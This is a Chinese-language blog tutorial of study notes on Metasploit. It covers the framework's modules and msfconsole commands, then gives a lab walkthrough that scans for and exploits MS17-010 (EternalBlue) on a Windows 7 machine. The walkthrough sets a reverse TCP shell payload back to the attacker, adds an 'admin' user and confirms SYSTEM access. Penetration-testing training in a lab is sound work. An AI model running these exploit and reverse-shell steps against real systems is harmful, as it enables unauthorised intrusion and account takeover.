| Draper | 您所在的位置：网站首页 › metasploit指令 › Draper |
Draper
|
layout
title
subtitle
date
author
header-img
catalog
tags
post
Metasploit渗透测试框架的基本使用
学习笔记
2023-04-08
Draper-crypto
img/blogimg/post-bg-hacker.jpg
true
Metasploit
渗透测试
学习笔记
一、Metasploit 渗透测试框架介绍
metasploit基础库文件位于源码根目录路径下的libraries目录中，包括Rex,framework-core和framework-base三部分。 Rex是整个框架所依赖的最基础的一些组件，如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等； framework-core库负责实现所有与各种类型的上层模块及插件的交互接口； framework-base库扩展了framework-core，提供更加简单的包装例程，并为处理框架各个方面的功能提供了一些功能类，用于支持用户接口与功能程序调用框架本身功能及框架集成模块； （2）模块模块组织按照不同的用途分为6种类型的模块（Modules）：分为辅助模块（Aux)、渗透攻击模块（Exploits)、后渗透攻击模块（Post)、攻击载荷模块（payloads)、编码器模块（Encoders)、空指令模块（Nops)。 注：payload又称为攻击载荷，主要是用来建立目标机与攻击机稳定连接的，可返回shell，也可以进行程序注入等。 （3）插件插件能够扩充框架的功能，或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具，如Nessus、OpenVAS漏洞扫描器等，为用户接口提供一些新的功能。 （4）接口包括msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口。 （5）功能程序metasploit还提供了一系列可直接运行的功能程序，支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式，并可以进行各种类型的编码。 二、基本使用方法 1.PostgreSQL数据库Metasploit程序需要使用PostgreSQL数据库。 注：PostgreSQL是世界上最先进的开源关系数据 手动启动数据库 root@kali:~# systemctl start postgresql root@kali:~# systemctl enable postgresql #设置成开机启动数据库 2.启动Metasploit（1）点击图标 （2）命令行启动 root@kali:~# msfconsole注意：每次弹出的欢迎信息都是随机的。 connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect 192.168.1.1 80” ,192.168.1.1是 IP 地址，80 是端口号。 语法： msf5 > connect例： msf5 > connect 192.168.1.1 80 #192.168.1.1是 IP 地址，80 是端口号。 2.show命令“show”命令的有效参数是：all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options 例： 列出 metasploit 框架中的所有渗透攻击模块 exploits msf5 > show exploits #列出 metasploit 框架中的所有渗透攻击模块。 msf5 > show payloads #列出 metasploit 框架中的所有攻击载荷。 msf5 > show auxiliary #列出 metasploit 框架中的所有辅助攻击载荷。 3.search搜索命令当你使用 msfconsole 的时候，你会用到各种漏洞模块、各种插件等等，search 搜索命令可以快速的查找到用户所需要的模块。 语法： msf5 > search [options] #search后主要加选项和关键字 msf5 > search Keywords（参数）:关键字 msf5 > search platform（平台）:mysql #查询的结果会列出 rank 比较高的模块 msf5 > search type（类型）:特定类型的模块 msf5 > search name:mysql type:exploit #联合查找，多条件组合注意： ①特定类型模块有exploit、payload、auxiliary、encoder、evasion、post、or nop。 ②搜索参数可以组合使用，可以更精准的查询到对应的模块，支持模糊查找，不区分大小写。 ③查询结果每列的含意是： Name 名称 Disclosure 披露 Date 日期 Rank 排名 Check 检查 Description 说明 例： 例1：通过 name 关键字进行查找 msf5 > search mysql # search 后直接跟要查找内容。例2：查找出ms08_067 漏洞模块 msf5 > search ms08_067例3：查找 mysql 数据库的漏洞 msf5 > search name:mysql 4.use命令use 使用参数。当你要使用（装载）某个模块，就要使用到 use 命令。 语法： use例： 装载一个渗透攻击模块 msf5 > use exploit/windows/smb/ms08_067_netapi我们可以看到使用 use 装载模块后我们的 bash 提示符会变成对应的模块信息。 退出当前调用模块 msf5 exploit(windows/smb/ms08_067_netapi) > back 5.info命令显示模块的相关信息。 语法： 方法1：info 例：msf5 > info exploit/windows/smb/ms08_067_netapi 方法2：use 装载模块后直接使用info 例：msf5 > use exploit/windows/smb/ms08_067_netapi使用后弹出的内容里我们可以得知： （1）可用目标，即查看可以攻击哪些操作系统 （2）Basic options: 调用漏洞需要的相关参数 （3）漏洞描述和执行过程 （4）参考文档 show命令可以查看模块的相关信息 msf5 exploit(windows/smb/ms08_067_netapi) > show options #查看模块的选项 msf5 exploit(windows/smb/ms08_067_netapi) > show targets #查看可以攻击哪些操作系统 msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.54 #设置攻击地址参数 msf5 exploit(windows/smb/ms08_067_netapi) > show options #查看设置的值配置好了之后我们输入 exploit 或 run 就可以执行该模块。 7.exploit命令 msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -j #-j 表示后台执行,渗透目标完成后会创建一个 session 我们可以通过 session 连接目标主机。 msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions #查看会话详细信息 msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4 #通过会话 Id 进入会话 C:\Windows\system32>background #退出会话将会话保存到后台 msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4 #根据会话 Id 结束会话 实践1：使用 msf 渗透攻击 Win7 主机并远程执行命令 1.概述攻击机器：kali Linux（IP:192.168.2.16） 被攻击机器：windows 7专业版（IP:192.168.2.173） 利用漏洞：ms17-010漏洞 使用shell：payload/windows/x64/shell/reverse_tcp 注意：在开始攻击前互ping主机，确保网络联通，windows 7主机在被攻击前请关闭防火墙，否则无法完成攻击。 2.攻击过程（1）搜索对应的扫描模块 msf5 > search ms17-010（2）使用扫描模块 msf5 > use auxiliary/scanner/smb/smb_ms17_010（3）查看需要配置的选项 msf5 auxiliary(scanner/smb/smb_ms17_010) > show options（4）配置PHOSTS的IP msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.2.173（5）检查所有选项是否配置完成 msf5 auxiliary(scanner/smb/smb_ms17_010) > show options（6）开始扫描 msf5 auxiliary(scanner/smb/smb_ms17_010) > run显示“Host is likely VULNERABLE to MS17-010!（主机可能易受MS17-010攻击!） ”则表示该主机存在该漏洞。 （7）返回，重新查找我们需要的攻击模块 msf5 auxiliary(scanner/smb/smb_ms17_010) > back msf5 > search ms17-010（8）同理使用模块，展示需要配置的参数 msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > show options（9）配置参数，检查参数 msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.2.173 msf5 exploit(windows/smb/ms17_010_eternalblue) > show options（10）查看exploit target 目标类型 msf5 exploit(windows/smb/ms17_010_eternalblue) > show options在这里插入图片描述 可以看到这个模块只有一个 target，所以默认就选择这个目标系统，不需要手动设置。 （11）找一个 payload，为了获取 shell 远程连接权限后，进行远程执行命令 msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload注：payload 又称为攻击载荷，主要是用来建立目标机与攻击机稳定连接的，可返回 shell，也可以进行程序注入等。 （12）设置使用的payload，查看payload所需要的参数 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > show options（13）设置payload的反弹地址 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.2.16（14）检查参数有无问题， 没有问题直接run （15）攻击成功，显示出windows命令行 注意：若停在上图WIN字符区域，不是没有攻击成功，仅需按下回车即可 3.测试攻击是否成功（1）在kali端尝试查看当前Windows 7用户 发现显示乱码，解决办法在命令行输入chcp 65001即可，再次查看 显示正常。 （2）新建用户admin 到windows端查看是否成功 成功创建admin用 （3）通过whoami查看当前用户级别，可以发现我们获取到了最高权限system 注：关闭连接按下ctrl+c即可 |
【本文地址】